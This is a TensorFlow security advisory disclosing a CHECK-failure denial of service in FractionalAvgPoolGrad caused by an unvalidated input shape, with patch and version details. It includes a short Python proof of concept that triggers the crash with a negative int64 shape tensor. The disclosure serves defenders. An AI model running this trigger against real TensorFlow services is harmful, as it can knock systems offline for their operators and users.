TensorFlow vulnerable to `CHECK` failures in `FractionalAvgPoolGrad`

Impact

The implementation of FractionalAvgPoolGrad does not fully validate the input orig_input_tensor_shape. This results in an overflow that results in a CHECK failure which can be used to trigger a denial of service attack.

import tensorflow as tf

overlapping = True
orig_input_tensor_shape = tf.constant(-1879048192, shape=[4], dtype=tf.int64)
out_backprop = tf.constant([], shape=[0,0,0,0], dtype=tf.float64)
row_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)
col_pooling_sequence = tf.constant(1, shape=[4], dtype=tf.int64)
tf.raw_ops.FractionalAvgPoolGrad(orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop, row_pooling_sequence=row_pooling_sequence, col_pooling_sequence=col_pooling_sequence, overlapping=overlapping)

Patches

We have patched the issue in GitHub commit 03a659d7be9a1154fdf5eeac221e5950fec07dad.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.